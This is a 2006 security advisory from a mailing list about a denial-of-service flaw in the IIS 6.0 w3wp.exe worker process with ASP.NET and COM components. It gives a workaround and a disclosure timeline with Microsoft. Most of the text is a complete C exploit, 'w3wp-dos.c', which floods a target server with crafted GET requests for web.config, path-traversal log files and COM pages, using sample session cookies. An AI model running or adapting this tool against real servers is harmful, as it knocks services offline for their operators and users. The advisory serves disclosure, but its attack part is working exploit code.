[NT] w3wp DoS

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w3wp DoS
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SUMMARY

w3wp is a process that execute COM and COM+ for ASP.NET.

When the ASP directive AspCompat is not in use, w3wp.exe will crash.

DETAILS

Vulnerable Systems:
* Windows 2003 (SP1) + IIS 6.0 + .NET Framework 1.1 Windows XP
Professional Edition + IIS 6.0 + .NET Framework 1.1

Missing AspCompat directive causes general instability and poor
performance of the web application, just a simple increase of load on a
web server may cause it to crash.

If simultaneous requests are made to the webserver for atleast 100 - 300
for each URL that references COM components and restricted files (within
the application directory path) then the worker process fails or crash at
any particular instant.

Example:
http://<Domain>/asp-app\web.config
http://<Domain>/asp-app\default.aspx (sample links with reference to any
COM component) http://<Domain>/asp-app\..\aspapplogs/log1.log

Workaround:
ASP-intrinsic objects (like STA COM components) are not enabled in
ASP.NET by default, and in ASP.NET, the thread pool is a multithreaded
apartment (MTA) by default. So, to use the COM components effectively
these defaults should be explicitly changed by using the following
attribute in the @Page directive:

<%@Page ASPCompat="true" %>

This directive causes ASP.NET to provide access to ASP-intrinsic objects
and changes the thread pool to STA. It is observed that after addition of
this directive, the issue gets resolved.

Disclosure Timeline:
1/10/2006 - Bug reported to the vendor
1/11/2006 - MSRC acknowledged and assigned a case number 6367
1/12/2006 - Vendor requested for additional info
1/12/2006 - Vendor provided with additional info
1/24/2006 - Vendor requested for stack dump
1/27/2006 - Stack dump was provided to vendor
2/02/2006 - Vendor requested for a re-test with the a temporary fix
applied
2/10/2006 - Issue re-tested with the fix applied and the test failed
2/18/2006 - Vendor confirmed the issue and suggested the fix.
2/23/2006 - Vendor requested to get the security advisory passed via
the MSRC before releasing.
3/14/2006 - Vendor provided with the draft version of the advisory
3/16/2006 - Vendor reviewed the advisory and suggested minor changes
3/21/2006 - Vendor provided with the updated advisory with the
necessary changes made
3/21/2006 - Vendor granted permission to release the advisory
3/21/2006 - Public Disclosure

Exploit:
// w3wp-dos.c
//

#include "stdafx.h"

#pragma comment (lib,"ws2_32")

#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>

char * pszUnauthLinks(DWORD);

#define portno 80

int main(int argc, CHAR* argv[])
{
char szWorkBuff[100];
DWORD dwCount = 0, dwCounter;
int iCnt = 0, iCount = 0;

SOCKET conn_socket;
WSADATA wsaData;
struct sockaddr_in sin;
struct hostent *phostent;
char *pszTargetHost = new char[MAX_PATH];
UINT uAddr;

if (argc<2)
{
printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");

printf("\nUsage: w3wpdos <HostIP / HostName> \n\n");

exit(0);
}

int iRetval;
if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
printf( "WSAStartup failed with error %d\n",iRetval);
WSACleanup(); exit(1); }

// Make a check on the length of the parameter provided
if (strlen(argv[1]) > MAX_PATH) {
printf( "Too long parameter ....\n"); exit(1); }
else
strcpy(pszTargetHost, argv[1]);

// Resolve the hostname into IP address or vice-versa
if(isalpha(pszTargetHost[0]))
phostent = gethostbyname(pszTargetHost);
else {
uAddr = inet_addr(pszTargetHost);
phostent = gethostbyaddr((char *)&uAddr,4,AF_INET);

if(phostent != NULL)
wsprintf( pszTargetHost, "[+] %s", phostent->h_name);
else {
printf( "Failed to resolve IP address, please provide host name.\n" );
WSACleanup();
exit(1);
}
}

if (phostent == NULL ) {
printf("Cannot resolve address [%s]: Error %d\n", pszTargetHost,
WSAGetLastError());

WSACleanup();
printf( "Target host seems to be down or the program failed to resolve
host name.");
printf( "Press enter to exit" );

getchar();
exit(1); }

// Initialise Socket info
memset(&sin,0,sizeof(sin));
memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
sin.sin_family = phostent->h_addrtype;
sin.sin_port = htons(portno);

conn_socket = socket(AF_INET, SOCK_STREAM, 0);
if (conn_socket < 0 ) {
printf("Error Opening socket: Error %d\n", WSAGetLastError());
WSACleanup();

return -1;}

printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");

printf("[+] Host name: %s\n", pszTargetHost);
wsprintf( szWorkBuff, "%u.%u.%u.%u",
sin.sin_addr.S_un.S_un_b.s_b1,
sin.sin_addr.S_un.S_un_b.s_b2,
sin.sin_addr.S_un.S_un_b.s_b3,
sin.sin_addr.S_un.S_un_b.s_b4 );
printf("[+] Host IP: %s\n", szWorkBuff);

closesocket(conn_socket);

printf("[+] Ready to generate requests\n");

/* The count should be modified depending upon the
number of links in the szBuff array */
while(dwCount++ < 10)
{

conn_socket = socket(AF_INET, SOCK_STREAM, 0);
memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(portno);

if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
perror("connect");

printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
for(dwCounter=1;dwCounter < 9;dwCounter++)
{
send(conn_socket,pszUnauthLinks(dwCount),
strlen(pszUnauthLinks(dwCount)),0);

char *szBuffer = new char[256];
recv(conn_socket, szBuffer, 256, 0);
printf(".");
// if( szBuffer != NULL)
// printf("%s", szBuffer);
delete szBuffer;
Sleep(100);
}
printf("\n");
closesocket(conn_socket);
}

return 1;
}


char * pszUnauthLinks( DWORD dwIndex )
{
char *szBuff[10];
TCHAR *szGetReqH = new char[1024];

/* Modify the list of links given below to your asp.net links. The list
should carry links which refer to any COM components and as well as other
restricted links under the asp.net app path. */

szBuff[1] = "GET /aspnet-app\\web.config";
szBuff[2] = "GET /aspnet-app\\../aspnetlogs\\log1.logs";
szBuff[3] = "GET /aspnet-app\\default-userscreen.aspx";
szBuff[4] = "GET /aspnet-app\\users/config.aspx";
szBuff[5] = "GET /aspnet-app\\links/anycomref.aspx"; //
szBuff[6] = "GET /aspnet-app\\com-ref-link1.aspx"; // Links of pages
referring
szBuff[7] = "GET /aspnet-app\\com-ref-link2.aspx"; // COM components.
szBuff[8] = "GET /aspnet-app\\com-ref-link3.aspx"; //
szBuff[9] = "GET /aspnet-app\\com-ref-link4.aspx"; //

/* Prepare the GET request for the desired link */
strcpy(szGetReqH, szBuff[dwIndex]);
strcat(szGetReqH, " HTTP/1.1\r\n");
strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*\r\n");
strcat(szGetReqH, "Accept-Language: en-us\r\n");
strcat(szGetReqH, "Accept-Encoding: gzip, deflate\r\n");
strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.0; .NET CLR 1.1.4322)\r\n");
strcat(szGetReqH, "Host: \r\n" );
strcat(szGetReqH, "Connection: Keep-Alive\r\n" );

/* Insert a valid Session Cookie and ASPVIEWSTATE to get more effective
result */
strcat(szGetReqH, "Cookie:
ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;\r\n" );
strcat(szGetReqH,
".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F744632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76AC713AF05B971D\r\n\r\n" );

// return szBuff[dwIndex];
return szGetReqH;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:debasis_mty@xxxxxxxxx>
Debasis Mohanty .
The original article can be found at:
<http://hackingspirits.com/vuln-rnd/vuln-rnd.html>
http://hackingspirits.com/vuln-rnd/vuln-rnd.html



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